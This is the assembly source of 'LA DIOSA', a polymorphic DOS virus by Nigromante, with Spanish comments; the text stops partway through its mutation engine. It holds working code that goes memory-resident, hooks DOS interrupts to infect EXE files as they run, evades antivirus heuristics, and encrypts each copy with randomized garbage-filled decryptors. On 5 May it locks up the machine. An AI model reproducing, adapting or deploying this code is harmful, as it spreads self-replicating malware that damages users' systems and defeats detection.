;
;                        nEUrOtIc cpU.     presents
;       ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;       º                                                        º
;       º  Virus LA DIOSA       (version 1.0) ¸    by Nigromante º
;       º                                                        º
;       ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
;
;        Infecta archivos Exe al ejecutarlos mediante el m‚todo tradicional
;        copio el virus al final, y modifico el cs:ip del header.
;
;        Virus polim¢rfico:
;               El engine Polim¢rfico genera c¢digo variable
;               Encriptado mediante una de 3 posibles funciones
;               (add,sub o xor) con una clave aleatoria.
;               En el decriptor se insertan instrucciones de acceso
;               a memoria, a puertos, bucles, interrupciones,compraraciones
;               saltos condicionales, llamadas a procedimientos.
;               Y las instrucciones de inicializaci¢n del decriptor
;               se reordenan con cada infecci¢n.
;

.286                                        
code         segment 'code'
	     assume cs:code,ds:code,es:code

size         equ offset fin-offset start
long_vir     equ 2*(fin-start)+1000h
		   ;multiplico por 2 el (fin-start) para dejar espacio
		   ;pa el buffer del polymorfismo

clases_basura  equ 11d

carrier:        push    ds              ;este push es solo necesario
					;en el carrier porque despues
					;se encarga el engine de pushear
					;el valor del psp

start:          call    find_offset            ; busco la ip de inicio
find_offset:                                   ; para que la variables no
		mov     si,sp                  ; aparezcan corridas
		mov     bp,word ptr ss:[si]    ; en vez de utilizar un pop
		sub     bp,offset find_offset  ; leo directamente del stack
		cli
		add     sp,2                   ; para evitar heur¡stica
		sti

		pop     ds

		mov     ax,ds
		mov     es,ax      ;es apunta al psp   
				   ;importante es tiene que apuntar al psp

		push    ds
		push    es
		
		
		push    ':('             ;mira a ver si esta residente
		pop     ax
		int     21h
		cmp     ax, ';)'         ;si lo esta devuelve un smilie
		je      yaenmemoria


		mov     ax, 3520H      ;guarda la direccion
		inc     al             ;este trocito es rebuscado
				       ;pero evita que salte el flag
				       ;de residencia del tbav
		int     21h                        ;de la int 21 para poder
		mov     cs:word ptr [bp+oldint21],bx    ;llamarla cuando nos 
		mov     cs:word ptr [bp+oldint21+2],es  ;plazca :-)
		
		mov     ax,ds            ;lo dejo residente por MCB
		dec     ax               
		mov     es,ax            
		mov     ax,es:[3]
		sub     ax,((long_vir+15)/16)+1  ;le resto a ax la long_del_virus
						 ;en paragrafos
		xchg    bx,ax    
		mov     ah,4ah
		push    ds
		pop     es       
		int     21h      ;Asignar blocke de memoria
		
		mov     ah,48h         ;el parrafo del MCB
		mov     bx,((long_vir+15)/16)
		int     21h            

		dec     ax           ;en ax devuelve el segmento reservado
		mov     es,ax             ;es apunta al segmento del MCB del segemento reservado
		mov     word ptr es:[1],8  ;marco el bloque con un 8 para que
		inc     ax                 ;no lo sobreescriban
		mov     es,ax              ;ahora es apunta al segmento reservado
		mov     si,bp
		xor     di,di
		push    ds
		push    cs
		pop     ds
		cld
		mov     cx,long_vir        ; de memoria donde permanecer 
		rep     movsb              ; residente  DS:SI -> ES:DI
		
		mov     ax,2520h          ;hago la redirecci¢n
		inc     al
		mov     dx,offset [nuevaint21]
		push    es                ;llevo el valor del segmento reservado
		pop     ds                ;a ds para realizar la redirec..
		int     21h
		pop     ds
		push    ds
		pop     es

yaenmemoria:    push    ds
		push    es
 
		;ahora se comprueba si es septiembre
		push    02a00h          ; funcion para obtener   
		pop     ax
		int     21h             ; la fecha
		cmp     dh,  05d        ; compara el mes con mayo
		jne     noactivo
		cmp     dl,  05d        ; compara con el 5 del 5
		jne     noactivo      
       
		mov     ax,0900h        ;
		lea     dx,bp+mensaje   ;   aparece el mensaje
		int     21h             ;   

infinito:                               ;
		jmp     infinito        ;

noactivo:       pop    es
		pop    ds



vuelta_al_exe:  mov    ax,ds
		add    ax,cs:word ptr [bp+ss_sp]
		add    ax,10h               ;le sumo 10  por el PSP
		cli                         ;desavilitamos interrupciones
		mov    ss,ax               
		mov    sp,cs:word ptr [bp+ss_sp+2]
		sti     
		mov    ax,ds
		add    ax,cs:word ptr [bp+cs_ip+2]
		add    ax,10h
		push   ax
		mov    ax,cs:word ptr [bp+cs_ip]
		push   ax
		xor ax,ax
		xor bx,bx
		xor cx,cx
		xor dx,dx
		xor bp,bp
		xor si,si
		xor di,di
		retf                      ;vuelta al hoste del exe

		db      '     *** nIgrO_lives_here ***       '

nuevaint21:     cmp ax,':('
		je estainMemory
		cmp ah,04bh
		je infector
		jmp cs:[oldint21]


estainMemory:    mov     ax,';)'
		 iret

 off_arch   dw 00h
 seg_arch   dw 00h

infector:   mov  word ptr cs:[off_arch],dx
	    mov  word ptr cs:[seg_arch],ds
	    pushf
	    call cs:[oldint21]
	    pushf
	    pusha        ;en ds:dx la string que apunta al fichero

	    mov  dx,word ptr cs:[off_arch]
	    mov  ds,word ptr cs:[seg_arch]

	    xor bp,bp        ;bp a 0 importante para ejecutar la rutina
			     ;polimorfica desde memoria
	    mov ax,03d02h
	    pushf
	    call cs:[oldint21]
	    xchg bx,ax

	    push cs
	    push cs
	    pop  ds
	    pop  es

	    mov word ptr handel,bx
            mov ax,3224h             ;intercepto la interrupcion 24h
	    pushf
	    call cs:[oldint21]
	    mov ds:old_int24_off,bx  ;la guardo :>
	    mov ds:old_int24_seg,es
	    mov bx,word ptr handel
	     
	    call seek_end

	    mov word ptr longitud,ax    ;relleno longitud

	    call seek_begin

	    mov cx,20h                 ;leo la cabacera
	    lea dx,exeheader
	    mov ah,3fh
	    pushf
	    call cs:[oldint21]


	    cmp byte ptr [exeheader],'M'
	    jne NO_inf
	    cmp byte ptr [exeheader+1],'Z'
	    jne No_inf
	    cmp word ptr [exeheader+1ah],0000h
	    jne No_inf
	    cmp word ptr [exeheader+18h],0040h
	    jae No_inf
	    cmp word ptr [exeheader+0ch],0ffffh    
	    jne No_inf
	    jmp contamina
 NO_inf:    jmp nocontamina
contamina:

	    mov dx,offset new_int24        ;intercepto la int 24
	    mov ax,2523h
	    inc al
	    pushf
	    call cs:[oldint21]

	    cmp word ptr checksum,';P'   ;est  infectado???
	    jne venga
	    jmp nocontamina
venga:      call seek_end
	    mov word ptr cs:[garbage],0h         ;redondeo a paragrafo
	    and ax,0fh
	    or ax,ax
	    je dontadd     ;comparo si los ultimos 4 bits son 0 
	    mov cx,10h
	    sub cx,ax
	    mov word ptr cs:[garbage],cx
	    push 4000h
	    pop ax
	    pushf
	    call cs:[oldint21]

dontadd:    
	    call seek_end

	    mov cl,4
	    shr ax,cl
	    mov cl,12          ;calculamos la nueva cs-ip
	    shl dx,cl          ;ip ser  0 porque hemos redondeado a parag
	    add dx,ax          ;pero y  cs???
	    sub dx,word ptr ds:exeheader+8
	    push dx

	    push bx
	    lea di,fin
	    lea si,start
	    mov cx,size
	    mov bx,0h         ;infecto exe's
	    call engine

	    pop  bx        ;recupero el bx modificado por el engine
	    
	    push 4000h
	    pop  ax         ;funci¢n de escritura
	    lea  dx,fin
	    pushf
	    call cs:[oldint21]

	    mov  ax,4000d
	    add  cx,word ptr basura      ;redondeo a 4000 bytes
	    sub  ax,cx                   ;para poder hacer stealth
	    mov  cx,ax
	    add  ax,cx
	    pushf
	    call cs:[oldint21]

	    pop  dx
	    mov ds:ss_sp,dx
	    mov ds:cs_ip+2,dx
	    mov ds:word ptr cs_ip,0h
	    mov ds:word ptr ss_sp+2,(((size)+300h)/2)*2  ;nueva pila

	    call seek_end       ;en DXAX la longitud del archivo

	    mov cx,200h         ;calculo las paginas que tendr 
	    div cx              ;en la cabecera
	    inc ax
	    mov word ptr exeheader+2,dx
	    mov word ptr exeheader+4,ax
	    mov word ptr checksum,';P'
	    add word ptr exeheader+0ah,((size+800h+15h) shr 4)+10h
				     ;memoria extra
	    
	    call seek_begin

	    push 4000h
	    pop ax
	    mov cx,20h
	    mov dx,offset exeheader
	    pushf
	    call cs:[oldint21]

nocontamina:lds dx,cs:old_int24
	    mov ax,2523h
	    inc al
	    pushf
	    call cs:[oldint21]
	    popa
	    popf
	    retf 2

seek_begin: mov ax,4200h         ;me voy al  principio
	    jmp cont

seek_end:   mov ax,4202h         ;me voy al final
   cont:    xor cx,cx
	    xor dx,dx
	    cwd
	    pushf
	    call cs:[oldint21]
	    ret



 ;*************************************************************************
 ;*                                                                       *
 ;*       Esto es la rutina Polim¢rfica lo de arriba es                   *
 ;*                 s¢lo el virus :>                                      *
 ;*                                                                       *
 ;*************************************************************************
 

engine:      push ax    ;pusheo los registros utilizados excepto 
	     push bx    ;los registro que devuelven valores.
	     push dx
	     push ds
	     push es
	     push di
	     push si

	    jmp firma
	    db 'nIgrOmAntE EngInE pOlymOrfIc (NEP)'
firma:      push di
	    mov word ptr cs:[bp+dirini],bx
	    mov word ptr cs:[bp+vircomien],si
	    mov ax,256d
	    call rand_in_range
	    mov byte ptr cs:[bp+random],al        ;)    random rellenado
	    mov word ptr cs:[bp+enc_size],cx
	    lea dx,bp+decry_rutina1        ;indice a las instrucciones

	    call Inicializacion  ;inicializaci¢n de variables
	    
	    call rellenaroper    ;para encriptar con diferentes funciones
				 ;sub add o xor
	    call desordenar      ;desordena las instrucciones del decriptor
	    
	    mov bx,13d ;numero de instrucciones de la rutina de desenc.
bucle:      push bx
	     call basura
	     call pon_instruccion
	    pop bx
	    dec bx
	    jne bucle

	    call arregla_bucle
	    call basura
	    call encriptacion

	    mov cx,di     ;con esto calcula la longitud de la rutina
	    pop di
	    sub cx,di     ;esto pa devolver cx guay con el tama¤o del
			  ;virus encriptado+rutina desencriptacion
	     
	    pop si
	    pop di
	    pop es
	    pop ds        ;popeo los registros utilizados
	    pop dx
	    pop bx
	    pop ax
	    ret

;**** Procedimiento para inicializar variables ****************
inicializacion:           ;este procedimientos pone a 0 la tabla
	   push si        ;con las direcciones de los procedimientos basura
	   push cx        ;que genera el poly

	   lea si,bp+proc_dir
	   mov cx,4
continua:  push cx
	   mov word ptr cs:[si],00h         
	   inc si
	   inc si
	   pop cx
	   dec cx
	   jnz continua
	   
	   pop cx
	   pop si

	   ret


;**** Procedimiento para modificar la operaci¢n de encriptaci¢n *******
				  ;este procedimiento se encarga de modificar
				  ;el decriptor en la zona de datos y el
				  ;codigo del procedimiento de encriptaci¢n
rellenaroper:                     ;con esto hago variable la operaci¢n
	    push ax               ;de encriptaci¢n
	    push bx
	    push cx
	    mov ax,3d             ;se puede encriptar con 3 posibles
	    call rand_in_range    ;funciones add,sub o xor
	    mov bx,bp             
	    add bx,ax
	    add bx,ax
	    mov cl,byte ptr cs:[bx+operaciones]
	    mov ch,byte ptr cs:[bx+operaciones+1]
	    mov byte ptr cs:[bp+sigue_enc+1],ch
	    mov byte ptr cs:[bp+decry_rutina2+2],cl
	    pop cx
	    pop bx
	    pop ax
	   ret

;**** Procedimiento para desordenar las instrucciones del decriptor *******
desordenar:                       
	    push ax        ;desordeno s¢lo las instrucciones
	    push bx        ;de inicializaci¢n del decriptor
	    push cx        ;para ello utilizo un byte de control para saber
	    push si        ;si ya he insertado todas las instrucciones que
	    push di        ;voy a desordenar y un byte de control por cada
	    push es        ;instruccion para saber ,mediante operaciones de
	    push ds        ;enmascaramiento con el byte de control
			   ;si ya ha sido insertada.
	    
	    push cs
	    push cs        ;inicializo cs y ds para trabajar
	    pop ds         ;en el segmento de codigo
	    pop es
	    
	    mov byte ptr [bp+desor_control],0h   ;reseteo el valor de control
	    lea di,bp+decry_rutina1
	    add di,6h         
	    
siguiente_ins: 
	    cmp byte ptr [bp+desor_control],00111111b
	    je salir_proc               ;verifico si ya he insertado
					;todas las instrucciones
	    
	    lea si,bp+desor_ins
	    mov ax,6d            ;reordenamos 6 instrucciones
	    call rand_in_range   ;por lo tanto un valor aleatorio 0-5  
	    mov cl,5d
	    mul cl               ;ax:=al*cl
	    add si,ax
	    mov al,byte ptr [bp+desor_control] ;en ax la palabra de control
	    and al,byte ptr [si]
	    cmp al,0h
	    jne siguiente_ins   ;ya ha sido insertada la instruccion pues
				;sigo con la siguiente
	    
	    mov al,byte ptr [si]
	    cmp al,00001000b
	    jne no_problem       ;si es el " mov si,di "
				 ;hay que verificar si di ha sido inicializado
	    mov al,byte ptr [bp+desor_control]
	    and al,00000100b
	    je siguiente_ins     ;si no ha sido inicializado a volver a probar

no_problem: mov al,byte ptr [si]
	    or  byte ptr [bp+desor_control],al ;modifico la palabra de control
	    inc si
	    xor cx,cx
	    mov cl,byte ptr [si]
	    inc cl
	    rep movsb
	    jmp siguiente_ins

salir_proc: pop ds
	    pop es
	    pop di
	    pop si
	    pop cx
	    pop bx
	    pop ax
	   ret

;****************** Procedimiento pa meter basura ****************
basura:
	     push ax
	     push bx
	     
probar_otra_vez:      

	     mov ax,3d            ;hasta 3 instrucciones basura entre
	     call rand_in_range   ;instrucciones reales ,aunque algunas
	     inc ax               ;clases de basura poseen subbasura
				  ;(llamadas recursivas a este mismo 
				  ;procedimiento)

	     push di

mete_basura: push ax            ;¨cuanta basura meteremos? 
	     mov bx,bp
	     mov ax,clases_basura  ;numero de clases diferentes de
	     call rand_in_range      ;basura
	     add ax,ax
	     add bx,ax
	     mov ax,word ptr cs:[bx+tabla_basuras]
	     add ax,bp          ;relocateo el valor de la tabla
	     call ax
	     pop ax
	     dec ax
	     jne mete_basura
	     
	     pop ax
	     cmp di,ax
	     je  probar_otra_vez   ;si no se ha insertado nada de basura
				   ;probamos otra vez      
	     
	     pop bx
	     pop ax
	    ret


;************ Arregla el Loop del bucle **********************************
arregla_bucle:
	     push ax
	     push bx
	     push dx
	    
	     dec di
	     push di
	    
	     inc di
	     call basura
      
	     mov bx,word ptr [bp+bucle_start]   ;preparo el jump
	     lea ax,bp+fin                      ;por ahora siempre el
	     sub bx,ax                          ;buffer tendr  que estar en fin
	     mov ax,word ptr [bp+dirini]
	     add bx,ax
	     dec bx
	     mov word ptr [bp+repetir_bucle],bx
	     lea si,bp+salto
	     movsw
	     movsb    ;copio el salto 
	     movsw

	     pop ax
	     push di
	     mov bx,di
	     sub bx,ax    ;en bx la posici¢n del salto
	     mov di,ax
	     dec bx
	     mov byte ptr es:[di],bl      ;esto es pa arreglar el salto
	     pop di                     ;condicional
	     
	     pop dx
	     pop bx
	     pop ax
	     ret

;************ Lee una instrucci¢n y la inserta en el buffer temporal *****

pon_instruccion:
	     push ax       ;importante en dx el indice del  opcode
	     push bx       ;de la instrucci¢n a  copiar  
	     push si
	     push ds
	     push bp

	     mov bx,dx
	     mov al,byte ptr [bx]    ;en al el numero de bytes de la
	     inc dx                  ;instrucci¢n a copiar (est  almacenado
	     mov bx,dx               ;en el primero bytes de cada ins)

	     cmp byte ptr cs:[bx],0BFh       ;es un mov di,xxx ?
	     jne proseguir1
	     push di
	     inc di
	     mov word ptr [bp+encrypt_start],di
	     pop di

  proseguir1:cmp byte ptr cs:[bx],026h   ;es el comienzo del bucle ???
	     jne proseguir2
	     push di
	     inc di
	     mov word ptr [bp+bucle_start],di
	     pop di

  proseguir2:push cs
	     pop  ds
	     xor cx,cx
	     mov cl,al      ;en cx la longitud en bytes de la instruccion
	     mov si,dx      ;en si el inicio de la rutina
			    ;di no lo cambio
	     rep movsb      ;copio la instrucci¢n
	     add dx,ax    ;pa ke apunte a la siguiente instrucci¢n

	     pop bp
	     pop ds
	     pop si       ;di se aumenta :>
	     pop bx
	     pop ax
	     ret


;************* Porf¡n encripto el virus *********************
encriptacion:
	    push ax
	    push bx
	    push cx
	    push si

	    push si
	    push di

	    mov si,word ptr [bp+encrypt_start]  ;retoco la entrada de encr.
	    sub di,bp
	    sub di,size                 ;ojo supongo siempre el buffer en fin
	   
	   ;sub di,100h                 ;esto hay que modificarlo en caso
	    sub di,1h       
	    mov bx,word ptr[bp+dirini]  ;de ser un exe
	    add di,bx
	    mov word ptr es:[si],di

	    pop di
	    pop si

	    push di                          ;copio el virus en el buffer
	    mov si,word ptr cs:[bp+vircomien]
	    mov cx,word ptr cs:[bp+enc_size]
		     ;en si y di ya est n los valores idoneos
	    rep movsb
	    pop di

	    mov si,di                         ;y ahora lo encripto
	    mov dh,byte ptr cs:[bp+random]
	    mov cx,word ptr cs:[bp+enc_size]
sigue_enc:  xor byte ptr es:[di],dh
	    movsb
	    dec cx
	    jnz sigue_enc   

	    pop si
	    pop cx
	    pop bx
	    pop ax
	    ret


;************* Mete un byte *********************************
mete_unbyte:
	     push ax
	     push si
	     push ds
	     push bp

	     push cs
	     pop  ds
	     mov ax,5h
	     call rand_in_range
	     add bp,ax
	     lea si,tabla1+bp
	     movsb                         ;di como siempre no lo modifico

	     pop bp
	     pop ds
	     pop si
	     pop ax

	   ret

	   ;basura de un byte
 TABLA1    db 90h                  ;nop
	   db 40h                  ;inc ax
	   db 43h                  ;inc bx
	   db 48h                  ;dec ax
	   db 4bh                  ;dec bx


;************* Mete movs utilizados en la desencriptaci¢n **********
					    ;los meto de par en par
					    ;para no modificar su valor
					    ;e introduzco garbage entre ellos
mete_mov_utiles:
	     push ax
	     push bx
	     push dx
	     push si
	     push ds
	     push si
	     push ds

	     push cs
	     pop  ds
	    
	     cmp byte ptr cs:[bp+contador],2h  ;numero maximo de ejecuciones 4
	     jae exit2
	     
	     xor bx,bx             ;reseteo bx
	     mov ax,4h
	     call rand_in_range
	     cmp ax,2h
	     je  exit2
	     
	     mov bx,ax
	     add bx,ax
	     add bx,ax
	     add bx,bp
	     lea si,tabla3+bx
	     mov ax,256d
	     call rand_in_range ;hallo un valor aleatorio para rellenar el mov
	     mov bl,al          ;en bl el valor aleatorio
	     mov byte ptr cs:[si+2],bl

	     movsw              ;di como siempre no lo modifico
	     movsb

	     pop ax
	     pop dx
	     push si
	     push ds
	     push bx
	     mov ds,ax
	     mov si,dx
	     inc byte ptr [bp+contador]
	     call basura           ;pongo basura entre las 2 instrucciones
	     dec byte ptr [bp+contador]
	     pop bx
	     pop ds
	     pop si
	     mov byte ptr cs:[si+2],bl
	     movsw
	     movsb
	     jmp exit1
     exit2:  pop ds
	     pop si
     exit1:  pop ds
	     pop si
	     pop dx
	     pop bx
	     pop ax
	   ret

tabla3    db  083h,0c1h,00h  ;add cx,00h
	  db  083h,0e9h,00h  ;sub cx,00h
	  db  083h,0c1h,00h  ;add cx,00h

	  db  083h,0c7h,00h  ;add di,00h
	  db  083h,0efh,00h  ;sub di,00h
	  db  083h,0c7h,00h  ;add di,00h


;************** Mete mov aleatorio *********************************
mete_mov_inutiles:                   ;con este procedimiento meto
	     push ax                 ;instrucciones mov en las que no
	     push si                 ;intervienen registros del decriptor
	     push ds
	     push bp

	     push cs
	     pop  ds
	    
	     mov ax,0ffh
	     call rand_in_range ;hallo un valor aleatorio para rellenar el mov
	     mov bl,al          ;en bl el valor aleatorio

	     mov ax,4h
	     call rand_in_range
	     add ax,ax
	     add bp,ax
	     lea si,tabla2+bp
	     mov byte ptr [tabla2+bp+1],bl
	     movsw                ;di como siempre no lo modifico

	     pop bp
	     pop ds
	     pop si
	     pop ax
	   ret

	   ;basura de un byte
 TABLA2    db 0b0h,00h             
	   db 0b3h,00h
	   db 0b7h,00h             
	   db 0b4h,00h            

;************* Mete push aleatorios *****************************
					    ;los meto de par en par
					    ;para no modificar su valor
					    ;e introduzco garbage entre ellos
mete_push:   push ax
	     push bx
	     push dx
	     push si
	     push ds
	     push si
	     push ds

	     push cs
	     pop  ds
	    
	     cmp byte ptr cs:[bp+contador],3h  ;numero maximo de ejecuciones 3
	     jna c3
	     jmp exit3

       c3:   xor bx,bx             ;reseteo bx
	     mov ax,5h             ;numero de combinaciones diferentes
	     call rand_in_range    ;de pusheo popeo

       c4:   mov bx,ax
	     add bx,ax
	     add bx,bp
	     lea si,tabla4+bx

	     movsb                ;Primer Push
	     
	     pop ax
	     pop dx
	     push si
	     push ds
	     push bx
	     mov ds,ax
	     mov si,dx
	     inc byte ptr [bp+contador]
	     call basura           ;pongo basura entre las 2 instrucciones
	     dec byte ptr [bp+contador]
	     pop bx
	     pop ds
	     pop si
	     
	     movsb          ;ultimo push
	     jmp exit4
      
      exit3: pop ds
	     pop si
      
      exit4: pop ds
	     pop si
	     pop dx
	     pop bx
	     pop ax
	     ret

tabla4      db 050h,05bh      ;push ax pop bx 
	    db 0eh,058h       ;push cx pop ax  
	    db 0eh,05bh       ;push cx pop bx
	    db 053h,058h      ;push bx pop ax
	    db 09ch,09dh      ;pushf   popf

;********************* Genera Interrupciones basura :> ******************
mete_int:    push ax
	     push cx
	     push si
	     push ds
	     push bp

	     push cs
	     pop  ds
	     push bp
	     mov ax,6d                     ;numero de interrupciones que 
	     call rand_in_range            ;genera
	     add ax,ax
	     add bp,ax
	     mov al,byte ptr ds:[basura_int+bp]    ;a bp se le suma el
	     mov cl,byte ptr ds:[basura_int+bp+1]  ;desplazamiento por
	     pop bp                                ;lo que luego tenemos
	     mov byte ptr [bp+int_llamada+1],al    ;popear el valor original
	     mov byte ptr [bp+int_func+1],cl
	     lea si,int_func+bp
	     mov cx,4h
	     rep movsb           ;di como siempre no lo modifico

	     pop bp
	     pop ds
	     pop si
	     pop cx
	     pop ax

	   ret

	    ;basura de un byte

basura_int:                        ;tabla con las diferentes clases de
	    db 021h,51h            ;interrupciones basura y su funcion
	    db 010h,0dh
	    db 010h,0fh
	    db 010h,08h
	    db 021h,54h
	    db 021h,37h           

	    db 021h,43h
	    db 013h,10h            ;correspondiente.
	    
	    db 021h,30h

int_func    db 0b4h,00h      ;mov ah,funcion
int_llamada db 0cdh,00h      ;int numero
			     ;relleno la llamada a interrupci¢n 
			     ;con los valores de basura_int y luego inserto
			     ;en el codigo la llamada

;************* Mete bucle aleatorio *****************************
	      
mete_bucle:
	     push ax
	     push bx
	     push dx
	     push si       ;di como siempre no se puchea :>
	     push ds
	     
	     push cs
	     pop  ds
	    
	     cmp byte ptr cs:[bp+contador],1h  ;numero maximo de bucles 
	     jna a3                            ;recursivos :>
	     jmp exit5

       a3:   mov ax,3d
	     call rand_in_range   ;valor aleatorio para el indice de las 
	     mov bl,6d            ;instrucciones que utilizaremos en el bucle
	     mul bl
	
	s1:  mov si,bp          ;relocateo lo que obtenemos
	     add si,ax
	     mov ax,0004h             ;valor aleatorio para el numero
	     call rand_in_range       ;de repeticiones del bucle
	     inc ax           ;importante porque el valor de 
	     inc ax           ;repeticiones del bucle nunca puede
			      ;estar a 0 y adem s repetir algo 1 unica
			      ;vez es una tonter¡a :>
	     mov word ptr [si+basura_bucle+1],ax  ;relleno con un valor
						  ;aleatorio de repeticiones
	     add si,offset basura_bucle
	     movsw
	     movsb
	     
	     push di            ;pucheo el valor de di Para luego
				;arreglar el salto
	     movsb
	     push si
	     
	     inc byte ptr [bp+contador] ;realizo la llamada recurrente
	     call basura                ;pongo basura dentro del bucle
	     dec byte ptr [bp+contador]
	     
	     pop  si
	     
	     push cs
	     pop  ds    ;otra vex ds=cs
	     
	     movsw      ;el pop y el dec
	     lea si,salto_del_bucle+bp
	     movsw
	     
	     pop ax               ;popeo en ax el valor donde deber  saltar
				  ;el bucle             
	     mov dx,di
	     sub dx,ax
	     xor bx,bx
	     sub bx,dx
	     dec di
	     mov byte ptr [di],bl      ;arreglo el salto del bucle
	     inc di                    ;di incrementada para apuntar a la
				       ;siguiente instrucci¢n como siempre.
      exit5: pop ds
	     pop si
	     pop dx
	     pop bx
	     pop ax
	     ret


salto_del_bucle:  db 075h,00h

basura_bucle:    
	     db 0b8h,00h,00h       ;mov ax,valor
	     db 050h,058h,48h      ;push ax;pop ax;dec ax
	     db 0bbh,00h,00h       ;mov bx,valor
	     db 053h,05bh,04bh     ;push bx;pop bx;dec bx
	     db 0bdh,00h,00h       ;mov bp,valor
	     db 055h,05dh,4dh      ;push bp;pop bp;dec bp

;************** Mete acceso a puertos *********************************
mete_acceso_puerto:
	     push ax
	     push si         ;pusheo como no los registros a utilizar
	     push ds         ;excepto di (el super indice de encriptacion)

	     push cs
	     pop  ds
	    
	     mov ax,03h
	     call rand_in_range ;hallo un valor aleatorio para rellenar 
				;la instruccion in
	     xor si,si          ;reseteo el valor de si
	     add si,ax
	     add si,bp
	     add si,offset puertos_disponibles
	     mov al,byte ptr [si]
	     mov byte ptr [bp+instruccion_in+1],al  ;relleno el puerto
	     lea si,bp+instruccion_in
	     movsw                ;di como siempre no lo modifico
				  ;inserto la instruccion
	     pop ds
	     pop si
	     pop ax
	   ret

puertos_disponibles:     db 070h    ;puerto de memoria cmos             
			 db 040h    ;puerto de reloj
			 db 060h    ;puerto de teclado
			 db 020h    ;PIC initializacion cammand
			 db 021h    ;PIC registro de enmaskaramiento :>     

instruccion_in:          db 0e5h,00h

;************** Mete acceso a Memoria *********************************
mete_acceso_memoria:
	     push ax
	     push si         ;pusheo como no los registros a utilizar
	     push ds         ;excepto di (el super indice de encriptacion)

	     push cs
	     pop  ds
	    
	     mov ax,021d
	     call rand_in_range ;hallo un valor aleatorio para rellenar 
				;la instruccion in
	     xor si,si          ;reseteo el valor de si
	     add si,ax
	     add si,ax
	     add si,bp
	     add si,offset insmem
	     cmp ax,15d
	     movsw
	     jge ins_valor_aleatorio
	     
				  ;di como siempre no lo modifico
				  ;inserto la instruccion de 2 bytes
	     jmp sacabo

ins_valor_aleatorio:                  
	     mov ax,0ffh
	     call rand_in_range ;hallo un valor aleatorio para rellenar 
	     mov byte ptr es:[di],al
	     inc di            ;inserto el valor aleatorio e incremento
			       ;el puntero de memoria
	     
sacabo:      pop ds
	     pop si
	     pop ax
	   ret

insmem:      db 08bh,05h         ;mov ax,[di]
	     db 08bh,04h         ;mov ax,[si]
	     db 08bh,01dh        ;mov ax,[di]
	     db 08bh,01dh        ;mov bx,[di]
	     db 08bh,01ch        ;mov bx,[si]
	     db 08bh,02dh        ;mov bp,[di]
	     db 08bh,02ch        ;mov bp,[si]
	     db 08ah,024h        ;mov ah,[si]
	     db 08ah,004h        ;mov al,[si]
	     db 08ah,03ch        ;mov bh,[si]
	     db 08ah,01ch        ;mov bl,[si]
	     db 08ah,025h        ;mov ah,[di]
	     db 08ah,005h        ;mov al,[di]
	     db 08ah,03dh        ;mov bh,[di]
	     db 08ah,01dh        ;mov bl,[di]
	     
	     ;a estos opcodes hay que insertarle un byte aleatorio 
	     ;son instrucciones de 3 bytes 

	     db 08bh,046h        ;mov ax,[bp+valor]
	     db 08bh,05eh        ;mov bx,[bp+valor]
	     db 08bh,045h        ;mov ax,[di+valor]
	     db 08bh,044h        ;mov ax,[si+valor]
	     db 08bh,05ch        ;mov bx,[si+valor]
	     db 08bh,05dh        ;mov bx,[di+valor]


instruccion_mem:   db 00h,00h,00h    ;la maxima instruccion ocupa 3 bytes

;********** Mete comparaciones y saltos condicionales *****************
mete_comparaciones:
	     
	     push ax
	     push bx
	     push si         
	     push ds         
	     push es
	     
	     push cs
	     pop  ds
	     
	     cmp byte ptr cs:[bp+contador],2h
	     jae fuera2

	     mov ax,07d
	     call rand_in_range ;hallo un valor aleatorio para saber
				;la que comparacion vamos a realizar
	     mov cl,3d
	     mul cl
	     mov si,bp
	     add si,ax
	     add si,offset inscomp
	     
	     mov ax,0ffh
	     call rand_in_range ;Numero aleatorio con el compararemos
	     mov byte ptr cs:[si+2],al       ;relleno el n£mero aleatorio            
	     
	     movsw
	     movsb    ;copio la instruccion
	     
	     mov ax,09d
	     call rand_in_range 
	     add ax,ax
	     mov si,ax
	     add si,bp
	     add si,offset inssalto
	     movsw
	     
	     dec di
	     push di              ;pusheo la direcci¢n que utilizaremos
	     inc di               ;para retocar el salto

	     inc byte ptr cs:[bp+contador]
	     call basura
	     dec byte ptr cs:[bp+contador]

	     
	     pop ax          ;desapilo la direccion de antes
	     push di
	     xor bx,bx
	     sub di,ax
	     add bx,di
	     mov di,ax
	     dec bl     ;?
	     mov byte ptr es:[di],bl
	     pop  di
	     
  fuera2:    pop es
	     pop ds
	     pop si
	     pop bx
	     pop ax
	   ret

inscomp:     
	   db 03dh,00h,00h             ;cmp ax,valor
	   db 083h,0fbh,00h            ;cmp bx,valor
	   db 083h,0f9h,00h            ;cmp cx,valor
	   db 083h,0fah,00h            ;cmp dx,valor
	   db 083h,0fdh,00h            ;cmp bp,valor
	   db 083h,0ffh,00h            ;cmp di,valor
	   db 083h,0feh,00h            ;cmp si,valor
inssalto:
	   db 073h,00h                 ;jnb salto
	   db 074h,00h                 ;jz salto
	   db 075h,00h                 ;jnz salto
	   db 076h,00h                 ;jbe salto
	   db 077h,00h                 ;ja salto
	   db 07ch,00h                 ;jl salto 
	   db 07dh,00h                 ;jge salto
	   db 07eh,00h                 ;jle salto
	   db 07fh,00h                 ;jg salto

;********** Mete Procedimientos **********************************
mete_procedimientos:              ;la estructura basica del procedimiento
				  ;ser :
	     push ax              ;            jmp continuar
	     push bx              ;inico_proc: basurilla
	     push si              ;            ret
	     push ds              ; continuar:
	     push es
	     
	     cmp byte ptr cs:[bp+proc_control],0h  
	     jne fuera
	     cmp byte ptr cs:[bp+contador],2h
	     jae fuera
	     cmp word ptr cs:[bp+proc_dir+6d],00h
	     jne fuera           ;no hay espacio para almacenar
				 ;mas direcciones de procedimientos

	     inc byte ptr cs:[bp+proc_control]
	     
	     mov byte ptr es:[di],0ebh     ;meto el jmp
	     inc di
	     push di            ;pusheo la direcci¢n del jmp
				;para rellenarlo luego
	     inc di
	     
	     
	     inc byte ptr cs:[bp+contador]
	     call  basura
	     dec byte ptr cs:[bp+contador]

	     
	     mov byte ptr es:[di],0c3h     ;meto el ret
	     inc di
	     pop  ax      ;popeo la direccion del jmp pa retocarlo
	     push di
	     mov  bx,di
	     sub  bx,ax
	     mov  di,ax
	     dec  bl
